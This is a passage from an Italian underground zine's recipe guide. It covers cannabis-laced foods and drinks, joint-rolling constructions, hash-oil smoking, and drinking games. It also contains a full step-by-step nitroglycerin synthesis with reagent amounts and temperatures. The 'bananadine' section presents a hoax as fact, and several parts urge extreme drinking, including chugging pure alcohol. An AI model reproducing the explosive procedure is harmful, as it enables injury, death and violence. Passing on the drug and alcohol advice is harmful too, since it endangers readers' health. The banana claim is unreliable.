4/6 cipolle affettate finemente
15/30 grammi di marijuana ben sminuzzata
4 cucchiai di farina
un po' di vino o brandy
un po' di panna
un po' di parmigiano grattugiato
paprika
dill weed
una tazza d'acqua
Preparazione:
Soffriggete la cipolla in abbondante olio o burro. Prima che le cipolle
prendano colore aggiungete la marijuana e finite di soffriggere.
Levate la padella dal fuoco, spolveratevi sopra la farina e mescolate.
Coprite con un coperchio, rimettete sul fuoco per cinque minuti e mescolate
ogni tanto.
Nel frattempo avrete fatto scaldare l'acqua a cui aggiungerete le cipolle.
Ripassate un po' dell'acqua nella padella per recuperare bene tutti i residui
e aggiungete il resto. Ricordate che i grassi che galleggiano sulla superficie
del liquido contengono gran parte della sostanza attiva.
Aggiungete condimenti a vostro gusto, fate bollire per 30 minuti, e quindi
aggiungete vino o brandy.
Servite la zuppa guarnita con panna, parmigiano e paprika. Mescolate bene in
modo che ognuno riceva la stessa quantita' di zuppa dalla cima e dal fondo
della pentola (gli oli contenenti il THC tendono a galleggiare). La presenza
della panna nella ricetta aggiunge grassi che, come l'alcool, aiutano
l'assimilazione. Potete variare la ricetta con funghi, asparagi o altro, da
sostituire/aggiungere alla cipolla.
4.3 Salsa di semi di Canapa by Dr. Slump
Ingredienti:
1/2 chilo di semi di Canapa
1/2 chilo di mandorle pelate
Pane
Brodo magro
Zucchero
Preparazione:
Pulire, pelare e cuocere i semi di Canapa; pelare le mandorle. Pestare il
tutto. Aggiungere pane inzuppato di brodo magro, mescolare e pestare di nuovo.
Setacciare l'impasto per eliminare le bucce dei semi. Diluire con acqua e
zucchero. Servire con carne lessa.
4.4 Torta a sorpresa by EleSSaR
Ingredienti:
Torta cameo o simile
Mariagiovanna
Preparazione:
Comprate una torta di quelle cameo o simili, quelle con il 'kit torta' da
preparare con gli ingredienti inclusi. Quando dicono di usare burro o latte,
fate bollire il burro o il latte in un pentolino e aggiungeteci la maria/fumo.
Lasciate bollire per qualche minuto. Poi se volete potete anche mangiarvi la
maria assieme alla torta, non dovete filtrarla.
4.5 Mele cotte by Dr. Slump
Ingredienti:
4 mele senza torsolo
1/2 tazza di zucchero di canna
1/4 tazza d'acqua
4 ciliege
1/3 tazza di Canapa tritata
2 cucchiai di cannella
Preparazione:
Polverizzare la Canapa con un frullatore, poi mescolarla con lo zucchero e
l'acqua fino ad ottenere una pastella. Riempire la mela con la pastella,
cospargerla di cannella e decorare con una ciliegia. Cuocere in forno per 25
minuti a 350 gradi.
4.6 Drago Verde by EleSSaR
Ingredienti:
Grappa Bianca
Mariagiovanna
Preparazione:
Molte leggende circolano su questo alcolico... io scrivero' quelle verificate.
Prendete un alcolico, piu' forte e' meglio e', FA-VO-LO-SO l'effetto con la
GRAPPA BIANCA (a me piacciono pochi alcolici, la grappa e' fra questi), che
diventa quindi grappa alla canapa indiana... un must. Da provare. Cmq...
Esiste il metodo veloce che consiste nel versare l'alcolico in un pentolino,
aggiungerci la maria giovanna e riscaldare a fuoco LENTO (consiglio fornello
+ piccolo al minimo), coprendo con un coperchio. L'alcolico non dovra' MAI
raggiungere il punto di ebollizione: tenetelo sempre al di sotto.
Dopo che l'avrete tenuto cosi' un po' di tempo (io l'ho tenuto circa 40
minuti), lasciatelo raffreddare e quindi filtrate l'erba con quello che
volete (un passino, un colino...). A questo punto avete ottenuto un liquore
che, se l'alcoolico di partenza era incolore, sara' verde. Fatto con l'alcool
puro (mai provato) si chiama Drago Verde.
N.B.: Se avete intenzione di fumare la maria filtrata (poco potente) prima
vedete di farla asciugare MOLTO MOLTO BENE. Il liquore di K4N4P4 non ha un
effetto rapido quanto la sostanza fumata, ma e' + duraturo (e + collassante).
Se bevete a stomaco vuoto vi verra' su dopo circa un ora, se no + tardi.
Una volta che la stecca e' arrivata, dura all'incirca 3 ore e vi lascia in uno
stato di sonnolenza immane (mai riuscito a restare sveglio). Calcolate bene i
tempi quindi!!!!!!!!!!!!!
Cosa analoga si puo' fare anche con il fumo. In questo caso sbriciolate il
fumo per bene e seguite lo stesso procedimento. Il vantaggio e' che il fumo si
scioglie e non c'e' necessita' di filtrarlo dal composto finale.
N.B.: USATE SOLO FUMO DI QUALITA'. IL PLASTICONE FA *RACARE* MESSO IN UN
LIQUORE.
Metodo lento: e' quello con cui si da' sapore alle grappe. Mettete la canapa o
il fumo sbriciolato nell'alcolico e lasciatelo 'stagionare' per un periodo
abbastanza lungo (consiglio minimo 2 settimane).
*NEW* by Dr. Slump: bere il drago verde "assoluto" puo' fare anche molto male,
quindi il consiglio che vi posso dare e' di mischiarlo con bevande non
alcoliche. Vi assicuro che il massimo e' con la lemonsoda. Prendete un
bicchiere 3/4 di lemonsoda e 1/4 di Drago Verde. Il tutto va naturalmente
servito con ghiaccio.
4.7 Caffe' al Fumo by Dr. Slump
Ingredienti:
1 tazzina di caffe'
1 grammo di Hashish
Liquore
Panna
Zucchero
Preparazione:
Versare l'Hashish grattugiato nel caffe' bollente. E' necessario aggiungere
un po' di liquore o di panna per evitare che il principio attivo rimanga "in
sospensione" nel liquido (le molecole del THC legano con quelle dell'alcool e
dei grassi, ma non con quelle dell'acqua). Aggiungere un po' di zucchero per
dare un sapore piu' gustoso alla bevanda pero', nel caso in cui sia stata
aggiunta la panna, e' bene non esagerare, poiche' gli zuccheri rallentano la
digestione dei grassi.
4.8 Te' galattico by Dr. Slump
Ingredienti:
Te'
2 grammi di mariagiovanna
Preparazione:
Portare ad ebollizione circa mezzo litro d'acqua, poi versare circa 2 grammi
di marijuana, finemente tritata, lasciando bollire per qualche minuto.
Spegnere il fuoco, coprire, attendere almeno dieci minuti, filtrare ed
addolcire con un po' di miele. Si possono aggiungere fiori di gelsomino,
oppure un pizzico di cannella.
4.9 Banane usate in modo diverso by pIGpEN & Dr. Slump
Ingredienti:
Un bel po' di banane
Preparazione:
Pochi mesi fa io e il pIGghe ci siamo incontrati a Roma e tra una cazzata e
l'altra lui me ne esce fuori dicendo "Ohi Slumpo hai mai fumato le banane?"
e da qui nasce questa traccia. Infatti pIG mi aveva promesso che mi avrebbe
spedito il file per il prossimo numba di BFi e cosi' e' stato. Il file era
in inglese e io mi sono permesso di tradurlo. Il testo inglese iniziava cosi':
Believe it or not, bananas do contain a small quantity of Musa Sapientum
bananadine, which is a mild, short-lasting psychedelic. There are much easier
ways of getting high, but the great advantage to this method is that bananas
are legal.
Traducendo (ma c'e' bisogno?) l'autore inglese afferma che le banane
contengono una pikkola quantita' di Musa Sapientum bananadine che altro non
e' che un leggero psikedelico...
Su fatemi sbrigare che oggi e' il 25 luglio e ancora devo consegnare
l'articolo, lascio quindi il testo in inglese perke' e' di facile comprensione
per tutti.
1) Obtain 15 lbs. of ripe yellow bananas. [1 libra se non erro corrispone a
450gr. quindi vi servono circa 6kg abbondanti di banane]
2) Peel all 15 lbs. and eat the fruit. Save the peels. [mangiate le banane e
conservate la buccia]
3) With a sharp knife, scrape off the insides of the peels and save the
scraped materi [con un coltello affilato ripulite l'interno delle bucce e
conservate il materiale cosi' ottenuto]
4) Put all of the scraped material in a large pot and add water. Boil for three
to four hours until it has attained a solid paste consistency. [mettete il
materiale ottenuto dentro una pentola e fate bollire il tutto per 3-4 ore
fino ad ottenere una pasta densa]
5) Spread this paste on cookie sheets, and dry in an over for about 20 minutes
to a half hour.
This will result in a fine black powder. Makes about one pound of bananadine
powder. Usually one will feel the effects of bananadine after smoking three
or four cigarettes. [spalmate la pasta cosi' ottenuta sulla carta forno e
fate asciugare il tutto per una mezzoretta. Fatto cio' fumatevi quello che
avete ottenuto ;-)]
4.10 Burro alla Marijuana by Dr. Slump
Ingredienti:
1 confezione di burro da 100 gr
1 oncia di mariagiovanna
Preparazione:
La preparazione del burro alla marijuana e' molto semplice e prevede un numero
di applicazioni incredibili (pensate solamente a tutte le ricette in cui si
usa il burro). Mettete burro e maria in un pentolino e fate cuocere il tutto
per 15/venti minuti, mescolate ben bene e buona degustatio.
Capitolo 5 - PORKERIE VARIE
Questo capitolo e' forse il migliore dell'intera guida (?) perche' contiene
una serie di "esperimenti" da provare se possibile in compagnia. Tra le altre
cose si parla di Carciofi, Torroni e Bombe di profondita', ma come ormai e'
tradizione di questa guida i nomi ingannano...
5.1 Il carciofo by SMaster e DaMaDaFaKa
Occorrente:
Cartine consigliate: Smoking Blue corte o Smoking ECO lunghe
Tabacco consigliato: quello estratto dalle sigarette MS o Marlboro oppure il
Golden Virginia o West (Non c'e' bisogno di mettere la
mista, basta il tabacco)
Carta consigliata: biglietti d'invito dell'Ultimo Impero o biglietti FS
Preparazione:
Prendere un pezzo di carta approssimativamente lungo 10 cm e largo kuanto
basta (Eh!Eh!):
--------------------------------------
1- Piegare verso di se' ----> |---1--------------------------------|
2- Piegare verso chi ti ----> |---2--------------------------------|
sta davanti (se non | |
c'e' nessuno davanti | |
viene lo stesso ;) | |
--------------------------------------
Poi continuare ad avvolgere da quella parte. Vi consiglio di non piegare, ma
di fare solo una specie di curva. Il diametro deve essere di circa 5 mm
perche' il fumo diventi piu' buono.
Chiudere il filtrone (Eh!Eh!) con 2 cartine corte o una lunga. Prendere
altre 2 cartine (sia lunghe che corte devono essere 2):
--------------------
Colla ----> |//////////////////|
|------------------| cartina 1
| |
| |
Mettere questa parte sopra alla colla ----> --------------------
(precedentemente leccata) dell'altra --------------------
cartina. Colla ----> |//////////////////|
(lecca qui) |------------------| cartina 2
| |
| |
--------------------
--------------------
|//////////////////|
|-----------------/|
| / |
| / |
Piegare verso di se' lungo questa linea ------------------> / |
| / |
-------------/------
--------------------
Leccare la colla e incollarla alla ----> |//////////////////|
parte piegata. |----------|------/
| | /
| | /
-----------|---/
| | /
| | /
-----------|/
|------------------|
Linguetta incollata ----> |------------------| --> Piegare
| | / anche questo
-----------|---/ triangolino.
| | /
| | /
-----------|/
Dare una forma di cono:
-------------------/
/ \ |------/---> Riempire di tabacco o
/ \ | -/ di mista fino a qui.
| | | -/
| | |/
\ / -/
\----/--/
Inserire il filtro fino a fargli toccare il tabacco (conviene non mettere la
marijuana ne' nel punto piu' stretto, ne' in quello piu' largo, per non
sprecarne.)
-------------------/
/ \ | -/
/ \ | -/
|-----------------------------------| | -/
|-----------------------------------| |/
\ / -/
\----/--/
Stringere con le dita la parte del cono che non contiene tabacco sul
filtro e chiuderla con un pezzo di carta stagnola arrotolata. Alzare,
infine, la carta che avanza al di sotto della stagnola verso la punta del
cono (e' solo coreografico!)
/--/
/ /
Riporto del cono ----> / / /--------\
/ / / --\
/ /--/ --\
Filtro ----> |--------------------------/-----/-|| --\
|----------------------------------|| --/
\/\ --/
Carta stagnola -----> /\ \ --/
Cono ----> \--------/
E con questo vi ho illustrato uno dei modi migliori per fumare... bisogna
essere un po' bravi con gli origami, ma ne vale la pena! Ah gia', dimenticavo,
vi spiego un po' di teoria: i fumi prodotti nell'ampia camera di combustione
devono passare piu' velocemente nel filtro, che e' molto stretto, per cui si
raffreddano, rendendo il tutto molto piu' buono!
5.2 Il Torrone by EleSSaR
Eh si'... questo sara' un brutto colpo per tutti gli appassionati del dolce
chiamato torrone. Infatti dovete sapere che sotto questo nome si nasconde
anche un tipo di costruzione che si effettua con le cartine e che e' una
specie di sigarozzo. Prende anche il nome di trifase nella versione a 'soli'
tre filtri. Ma apprestiamoci ad esplicare la sua preparazione. NOTA: Non sono
un grande artista ASCII... se qualche disegno non e' chiaro, mi dispiace, ma
non posso farci nulla... :PPPPP
Qui spieghero' la preparazione del torrone a tre filtri, o trifase, dopodiche'
diro' quali modifiche siano necessarie per quelli piu' grossi. In ogni caso io
sconsiglio di andare oltre ai sei filtri, sebbene sia possibile.
In coerenza con lo stile pIGpEN (veramente e' necessario, cmq...): (cazzo, ma
d'altronde lo stile pIGpEN e' in fondo quello del ricettario della nonna...)
Occorrente:
Carta da filtro (biglietti della discoteca, del treno, dell'autobus, etc.)
Cartine *larghe* es. Rizla Blu lunghe o Smoking Blu o Smoking Green
Nastro adesivo (potete anche usare una cartina, spiego dopo)
Incominciate la vostra opera preparando tre filtrini normali (non occorre che
vi spieghi come si fa, vero? :P ) che siano pero' leggermente piu' lunghi del
solito. Ora metteteli uno sopra l'altro in maniera da formare una specie di
piramide e attaccateli insieme girando attorno un piccolo pezzo di nastro
adesivo. Se non avete il nastro adesivo prendete una cartina e giratela
attorno.
Disposizione dei filtri:
O
O O Vista Frontale
O__)
O_O__) Vista Laterale
Praticamente dovete porre i filtri in maniera tale da formare una piramide. A
questo punto la maniera migliore per fissarli consiste nel girare attorno ad
essi una striscia di nastro adesivo - che deve passare al *centro* dei filtri
e non ad una delle due estremita'. Ora che avete il vostro filtro gigante
dovete prendere la vostra cartina e controllare se e' abbastanza larga da
chiudersi attorno ad esso. Se non lo e' dovrete unire due cartine:
|-------| |-------| Unite l'estremita' collata di una cartina a
| | | <-> | | | quella non collata di un'altra. Cosi' otterrete
| | | | | | una cartina formato gigante.
| | | | | |
| | | <-> | | |
| | | | | |
|-------| |-------|
^ ^
| |
| |
Estremita' collata
A questo punto immaginate di dover semplicemente rollare una canna, con la
differenza che non dovra' assolutamente essere a tromba o a cono come dir si
voglia, ma assolutamente dritta. Essendo piu' larga sara' anche piu' facile da
rollare in un certo senso. Semplicemente inserite la quantita' appropriata di
mista nella cartina, appoggiate il trifiltro (lasciandone sporgere un pezzo
che verra' compresso dentro piu' tardi, come si addice a qualunque canna),
rollate e chiudete. Ora infilate del tutto dentro il filtro e per la
compressione inserite una sigaretta nella parte superiore, quindi incominciate
a battere (nulla di differente da uno spino insomma).
5.3 Bomba di profondita', Sottomarino e Birra alla Pompa by Dr. Slump
Innanzitutto una precisazione:
Bomba di profondita' = Sottomarino - Stessi "ingredienti" stessa "forma"
Birra alla Pompa - Solo stessa "forma" delle due precedenti
Io la precisazione l'ho fatta poi forse la capirete...
Cominciamo questa track parlando della Bomba di profondita' o Sottomarino
(cambia solo il nome!) che consiste in un bel boccalone di birra
(possibilmente fortarella) dove sul fondo di quest'ultimo si trova un altro
bicchiere piu' pikkolo contenente alkoliko... ho capito provo a farvi un
disegno:
Boccalone 1/2l ---| |
| |
|^^^^^^^^^^^^^^|----
Birra -----|---- |-- |
| | | |
| | | |
| | | |
| | | |
Pikkolo Bicchiere --------|---| | |-- |
| |^^^^^^| |----
Alkoliko ------|---|-- | |
| | | |
| | | |
|___|______|___|
Ma vediamo come si prepara, innanzitutto dovete rimediare un bel bokkalone
per mettere la birra e un bicchiere piu' pikkolo che entri dentro
quest'ultimo, fatto cio' riempite il bicchiere piu' pikkolo con un alkoliko a
vostra scelta (non so, vi consiglio di provare con il classico Gin o con il
bestiale Jack Daniel's) e poggiatelo sul fondo del boccale. Ora con attenzione
cominciate a versare birra nel bokkale, con attenzione perke' la dovete far
scendere piano e lateralmente in modo che non vada sopra all'alkoliko (usate
una birra chiara o rossa!), piano piano.. ecco cosi': bravi! Una volta che
avrete riempito il vostro bokkalone di birra noterete che l'alkoliko e'
rimasto tutto dentro il suo bel bicchierino, ora bevetela (anke a stekka se
volete!) all'inizio vi sembrera' di bere la solita birra, ma pian piano che vi
avvicinerete al fondo sempre di piu' noterete il gusto dell'alkoliko fino a
farvi un sorsata di solo alkoliko a fine bokkale (da qui deriva il nome di
bomba di profondita' o sottomarino, provate come gia' detto a bere il tutto a
stekka e alla fine sentirete una bella bomba ;-) Che birra usare? Fate vobis
so solo che piu' forte e' la birra meglio e'!
Che alkoliko usare? Fate vobis so solo che piu' forte e' meglio e' (c'e' un
posto dalle mie parti dove servono birra ghiacciata in bokkale ghiacciato e
sul fondo alkool puro 90, il tutto si beve a stekka, vi assikuro che questa
ricetta e' molto, ma molto potente, solo per gente tosta abituata a bere...).
Ma ora passiamo alla Birra alla Pompa che pur avendo lo stesso principio della
precedente ha alkune differenze che sul prodotto finale hanno il loro peso.
Inanzittutto bisogna dire che questa "birra" e' un'invenzione del gestore del
pub in cui vado e difficilmente ne troverete una uguale con gli stessi
ingredienti (probabilmente simile si', ma non uguale... sarebbe strano).
CIAO ******: ti sto facendo pubblicita' mi devi un sera di bevute gratis! ...
ehm skusate ritorniamo a noi. Tale birra alla pompa esiste in due varianti:
Rossa e Verde (dal colore che assume una volta trattata), ha una gradazione di
circa 30-32, e' in tutto mezzo litro di roba e molti che hanno provato a berne
3 sono finiti all'ospedale (giuro, io sinceramente sono riuscito a berne tre,
ma dopo stavo discretamente ridotto male, anzi direi che ero uno straccio
d'uomo...). In che consiste? Beh di preciso non lo so visto che non sono
riuscito ankora ad indovinare tutti e 8 gli ingredienti di cui e' composta...
Come "forma" e' la stessa del sottomarino con l'unika differenza che invece di
un solo alkoliko sul bicchierino di fondo, nella birra alla pompa troviamo
quattro alkolici per correggere la birra e tre nel bicchierino di fondo.
Quindi il tutto risulta cosi' composto:
Ingredienti:
1) Birra (potente molto potente)
2) Gin (sta dappertutto)
3) Cherry
4) Castle Rock ?
5) Cocabuton (thx bb)
6) Vodka ?
7) ?
8) ?
Di questi 8 alkolici (sono tutte basi pure!) ne conosco per ora solo 4, ma
sono certo che una volta che mostrero' questo articolo a ****** me li dira'
tutti e 8 distinguendo quelli che vanno nella birra e quelli che vanno nel
bicchierino in modo che nella prossima versione di questa guida tutti
potremo farci la nostra birra alla pompa e andare allegramente fuori con poko
(a molti basta una sola birra alla pompa per andare fuori...).
5.4 Gin: meglio della nutella? by Dr. Slump
E comincia cosi' in rilasso questa guida, in sottofondo MTV Select (eh si'
anke Victoria spakka di brutto...), nella testa il desiderio di avere akkanto
una bella bottiglia di Gin, magari Gordon's...
Il Gin sekondo me e' uno dei migliori alkolici perke' ovunque lo metti sta
bene (secondo un amiko che ho negli USA che ne consuma 1 litro al giorno,
permette anke delle performances sessuali migliori... ma questa e' un'altra
storia... incredibile, guarda il caso, ora su MTV stanno passando DRINKING
IN L.A. giuro!) Infatti io ho provato a metterlo dappertutto e tranne quella
volta che l'ho provato con il latte (a me non e' piaciuto) non ho avuto mai
avuto brutte sorprese.
Ma analizziamo il tutto piu' a fondo (si' proprio come il fondo delle
bottiglie che ormai dovreste conoscere tanto bene...):
- Gin Secco: beh da veri uomini duri... ad essere sincero sekko non e' che mi
piaccia molto... de gustibus.
- Gin Annaquato: questa versione ha largo consumo in America, tutti lo bevono
cosi', e ne bevono in quantita' industriali ve lo assikuro, mi e' capitato
di entrare in molte case di amici e tutti hanno il Fiasco da 3 litri di Gin
che allungano con acqua.
- Gin e succo di frutta: che dire questo si' che e' un must, tutti i tipi di
succo di frutta vanno bene, dalla pesca alla pera (ricordate la canzone dei
sottotono?).
- Gin e CocaCola: buono, con il gin e coka ho avuto delle belle esperienze,
riesci a berne in quantita' industriali... prendete una bella bottiglia di
coca cola da un litro e mezzo, levatene un quarto e buttate giu' un bel po
di gin (io la riempio) e poi naturalmente bevetevela tutta da soli...
- Gin e Aranciata: come sopra anke se secondo me e' molto piu' buona questa
versione.
- Gin e caffe': scusate, ma a fine pasto cosa volete che ci sia di meglio di
un buon caffe' seguito da una bella sigaretta?
- Gin Lemon: un classico di cui non occorre nessun commento.
- Cioccolata al gin: inverno, freddo inverno, che c'e' di meglio per scaldarsi
di un buon cioccolato caldo? Ero li' solo soletto in un freddo pomeriggio di
inverno, solo soletto all'ora della merenda, scatta quindi l'idea del
ciobar... ma perke' non aggiungere nella tazza anche un po' di gin che non
guasta mai? Raga per me questa ricetta spakka ed e' meglio, molto meglio,
della nutella ;-)
- Gin Tonic: altro must di cui non necessitano spiegazioni.
- Tiramisu' che ti butta giu': eh eh eh questo per me e' il massimo, se non
siete dei grandi in cucina vi serve la complicita' della vostra sorella
(presentatemela!) o della vostra ragazza (se voi non siete gelosi a me va
bene anke questa...), sapete tutti che cosa e' il tiramisu' giusto? Bene,
al posto di bagnare i pavesini o i savoiardi (apri questa finestra che
l'aria ristagna... fa skifo piu' del tiramisu' col pandispagna... Esa
Rulez!) con del normale caffe' bagnateli con del caffe' molto corretto al
Gin... non ve ne pentirete.
Devo forse aggiungere altro? Penso di no, usate un po' di fantasia, tanto il
Gin sta bene dappertutto, io qui vi ho fatto l'esempio di una decina di
ricette, ne potrei citare molte altre come ad esempio Birra e Gin (spakka!),
Gin e Vodka (meglio conosciuto come Yanez, ma per questo andate nella sezione
cocktail di questa guida), Galeone con Gin (vedi guida precedente...) e chi
piu' ne ha piu' ne metta.
5.5 Olio extra vergine by Dr. Slump
No, non sto parlando dell'olio che vostra madre usa per condire l'insalata, ma
del famoso olio di canapa, ottenuto dall'estratto di foglie di mariagiovanna,
che messo su delle normali sigarette, ad esempio, da a quest'ultime una marcia
in piu' (chissa' che effetto avra' sull'insalata...).
Conosciuto anche come hash oil questo olio ha un colore molto scuro tendente
al nero, che viene, come dicevamo sopra, ottenuto pressando l'hash; trovarlo
non e' molto facile, ma dalla regia mi dikono, ha le sue origini italiane in
quel di Lecce (ovvero laggiu' viene maggiormente prodotto e poi smazzato in
tutta Italia...) e viene distributo in bottigliette munite spesso di
contagocce. Una volta che lo avete rimediato gli usi che potrete farne sono
molteplici. L'uso piu' classico e immediato e' mettere alcune gocce d'olio
sulla sigaretta che vi state accingendo a fumare:
GOCCE OLIO
| | | |
_____ ______________
|_____|______________|
Di sicuro tale sigaretta non sara' come il classico spino, ma sicuramente
sara' meglio, ma molto meglio di una normale sigaretta e poi potrete
fumarvela ovunque, anke a skuola...
Altro sistema consiste nell'inumidire la cartina con cui subito dopo
"rollerete" la vostra sigaretta, o nel mettere alcune gocce di olio nel
tabacco da "rollo".
Altra tecnica in diretta da un newsgroup e' quella che trovate qui descritta
(tradotta alla velox):
"Il metodo piu' comune e' quello di prendere qualche tubicino resistente; il
migliore e' quello in plastica trasparente che costituisce il corpo di una
penna usa e getta della bic. Togli il tappino in plastica alla fine della
biro e estrai anche la punta e la parte interna contenente l'inkiostro.
Risultato: un tubicino trasparente di plastica 8) . Poi fai gocciolare una
piccola quantita' di olio su di un pezzo di carta d'alluminio. Tieni la lamina
con un paio di pinzette. Con l'olio in alto, scaldalo da sotto con un
fiammifero. Tieni l'estremita' del tubicino al di sopra della macchia d'olio.
Quando inizi a scaldare l'olio, sukkia come un dannato. Le pinzette (o
qualsiasi cosa che tu stia usando per tenere ferma la lamina d'alluminio) sono
indispensabili perche' l'alluminio e' un ottimo conduttore di calore e ci si
potrebbe bruciare. Il consumare tutto l'olio potrebbe richiedere piu'
operazioni di riscaldamento della lamina (ti accorgerai che sara' necessario
farlo 3 volte!).
Per usare uno strumento migliore usa un vecchio cucchiaio da tavola. Piega il
manico in modo che esso si allontani via dall'incavo del cucchiaio e poi
piegalo nel senso contrario cosi' che esso punti in alto al di sopra
dell'incavo.
Attacca lo stesso tubicino della bic sul manico in modo tale che il tubo punti
verso l'incavo del cucchiaio. Fai gocciolare l'olio nell'incavo e scalda il
cucchiaio dal basso (questo metodo richiede solo due riscaldamenti)."
Ah prima che mi dimentichi un consiglio: non lasciate il flaconcino d'olio in
cucina! ;-)
5.6 Nitroglicerina by L3ChucK
Dr.Slump: Anche se questa tracks non ha nulla a che fare con l'alkool e la
maria o robe simili ho pensato che questo articolo scritto da L3ChucK
rimanesse in tema in quanto per fare la nitro in casa bisogna essere veramente
fuori. Da qui in poi lascio la parola a L3ChucK.
La nitroglicerina e' uno degli esplosivi piu' sensibili, se non il piu'
sensibile, e anche se e' possibile farla in modo sicuro, e' molto difficile.
Molti giovani anarchici sono rimasti uccisi o gravemente feriti mentre
tentavano di fabbricarla. Persino durante la sua fabbricazione nelle industrie
degli operai sono rimasti colpiti dalle esplosioni accidentali. Di solito
appena e' fatta viene convertita in una sostanza piu' sicura, come la
dinamite. Un idiota che volesse tentare di fare della nitroglicerina dovrebbe
usare i seguenti materiali:
MATERIALI EQUIPAGGIAMENTO
acqua distillata contagocce
sale da tavola 1 bicchiere di vetro temperato
da 100 ml
bicarbonato di sodio 2 bicchieri di vetro temperato
uno da 200 o 300 ml
acido nitrico 1 secchiello da ghiaccio
(di plastica va bene lo stesso)
concentrato (13 ml)
acido solforico 1 termometro in gradi celsius
concentrato (39 ml) 1 cartina tornasole blu
glicerina
1) Mettete 150 ml di acqua distillata in uno dei due contenitori da
200-300 ml.
2) Nell'altro contenitore da 200-300 ml mettete 150 ml di acqua distillata e
circa una cucchiaiata di bicarbonato di sodio, mescolate fino a quando il
bicarbonato non e' completamante sciolto. Non mettetene troppo perche' se no
non si scioglie completamente.
3) Create un bagno ghiacciato riempiendo il secchio di ghiaccio fino a meta'
e aggiungendo il sale. Questo fara' sciogliere il ghiaccio, mantenendo bassa
la temperatura.
4) Mettete il recipiente da 100 ml nel bagno ghiacciato e versate l'acido
nitrico nel recipiente da 100 ml. Assicuratevi che il recipiente non affondi
nel bagno ghiacciato e che l'acqua non trabocchi quando mettete altri
materiali nel contenitore da 100 ml. Assicuratevi che il secchiello per il
bagno ghiacciato sia abbastanza largo per aggiungere altro ghiaccio. Mantieni
la temperatura dell'acido sui 20 gradi o meno !!!.
5) Quando l'acido nitrico e' freddo abbastanza, versate lentamente e con molta
attenzione i 39 ml di acido solforico nel recipiente in bagno e portate la
temperatura degli acidi mescolati a 10 gradi. E' una buona idea preparare un
altro bagno di ghiaccio.
6) Con un contagocce versate la glicerina, molto lentamente ed una goccia per
volta nel contenitore in bagno ghiacciato. Tenete il termometro al di sopra
della mistura dove gli acidi e la glicerina si incontrano.
NON FARE ALZARE LA TEMPERATURA AL DI SOPRA DEI 30 GRADI CENTIGRADI;
SE LA TEMPERATURA SALE AL DI SOPRA, CORRI COME UN FULMINE!!!
La glicerina comincera' a nitrificare immediatamente e la temperatura
comincera' immediatamente a salire.
Aggiungi la glicerina finche' non si formera' una sottile patina di glicerina
sopra ai due acidi mixati. E' sempre consigliabile e piu' sicuro fare poco
esplosivo.
7) Mescolate lentamente la glicerina e gli acidi per i primi dieci minuti
della nitrificazione, aggiungendo ghiaccio e sale al bagno ghiacciato per
mantenere la temperatura della mistura al di sotto dei 30 gradi centigradi.
Di solito la nitroglicerina si forma sulla superficie della mistura e l'acido
solforico assorbe l'acqua prodotta dalla reazione.
8) Quando la reazione e' finita e la nitroglicerina e' al di sotto dei 30
gradi centigradi, lentamente e con cautela versate la soluzione acida
nell'acqua distillata del contenitore da 300-200 ml rimasto. La nitro si
mettera' sul fondo del contenitore e l'acqua e l'acido potranno essere tolti.
Togli piu' acqua-acido possibile senza toccare la nitro.
9) Con attenzione rimuovi la nitro con un contagocce pulito e mettila nel
contenitore del passo 2. La maggior parte dell'acido rendera' la nitro piu'
stabile e meno soggetta a esplosioni accidentali. Testa la nitro con la
cartina tornasole finche' non rimane blu. Ripeti il procedimento se necessario
aggiungendo piu' bicarbonato nel passo 2.
10) Quando la nitroglicerina e' libera il piu' possibile dall'acido, mettetela
in un contenitore pulito in un posto sicuro. Il posto migliore e' lontano da
tutto e tutti, poiche' la nitro e' soggetta ad esplosioni senza ragioni anche
se e' tenuta in posti sicuri e freschi.
Dr.Slump: riprendo la parola per kiudere questa track... volevo dire solo una
cosa: okkio! Ne' io ne' L3ChucK ci assumiamo responsabilita' per danni causati
nella sperimentazione di questo metodo.
5.7 Estate tempo di cocktails by Dr. Slump
Quelli che trovate qui di seguito sono gli ingredienti che occorrono per
preparare i cocktail piu' conosciuti che tanto sono in voga durante il periodo
estivo (NdMeStesso: tralasciando naturalmente i fiumi di Vodka ai vari gusti
e la classica tequila..). Passiamo alla loro descrizione (mi devo sbrigare
perche' sono in ritardo con la consegna degli articoli!):
- ICE: gin - vodka - maraschino
- BRONX: gin - succo d'arancia - vermouth dry
- GIO & SIMON: aperol - gin - lemonsoda - vodka - succo d'arancia
- NEGRONI: bitter campari - vermouth rosso - gin
- MANHATTAN: canadian - martini rosso - angostura
- MARGARITA: tequila - cointreau - limone
- CAPOCABANA: vodka - martini - ananas
- WHITE LADY: gin - cointreau - limone
- MAUI: cointreau - succo di pompelmo - tonica
- SENSA SENSO: vodka - pesca - gin - campari
- CICCIO'S: gin - martini - aperol - martini dry
- SLALOM: vodka - gin peach - cocco
- BETWEEN THE SHEETS: brandy - bacardi - cointreau
- YANEZ: gin - vodka (spakka!)
- BELLINI: prosecco - succo di pesca
- CUBA LIBRE: bacardi - cola
Eh eh eh, ce ne sarebbero molti altri (tra i tanti cito: b'52, gin fizz e
pompelmo dry) che vedranno luce nella prossima parte di questa guida (okkio
che ce ne saranno delle belle... sto pensando di fare uno speciale
"Mariagiovanna: chi e' costei?") per ora che dire? Bevete, bevete, bevete!
5.8 Una bevanda mito. pekkato che. by Dr. Slump
Sembrava una sera come tante altre, io e un mio amico eravamo li' a
cazzeggiare davanti al PC, a un certo punto lui me ne esce e mi fa "Su su
dai, stasera si va a bere" (sai che novita'). Usciamo di casa, passiamo a
prendere un altro fido amico. A me la scelta del posto. La possibilita' era
una sola: andare da ****** a bere la birra alla pompa. Premetto che "l'amico
del PC" non ci era mai stato prima. Subito rimane "affascinato" dalla birra
alla pompa e anche lui si comincia a chiedere quali siano gli ingredienti in
essa contenuti (guarda un paio di pagine in alto). Quando era alla fine della
prima birra fa. Mmmhh contiene anche un liquore dolce. Non vedi che si attakka
al bicchiere. Io qui ero gia' stupito. Altro sorso. E dice: indubbio questa e'
COCABUTON! Chiamiamo ******, quando gli indoviniamo l'ingrediente quasi
sviene, nessuno era mai arrivato a questi livelli (sulla prossima guida penso
che troverete la ricetta completa.). Ma il punto non e' questo. Questo mio
amico comincia a parlarci della Cocabuton, di cui io sinceramente prima di
quella sera ignoravo l'esistenza. Andiamo con ordine.
La cocabuton che trovate oggi non e' piu' come quella di una volta, dovete
infatti sapere che fino a una decina di anni fa sulla bottiglia dell'alcolico
c'era la scritta "Contiene estratto di cocaina". Io qui ero quasi svenuto,
il mio amico ci ha preso a raccontare quando loro l'hanno scoperta, se ne sono
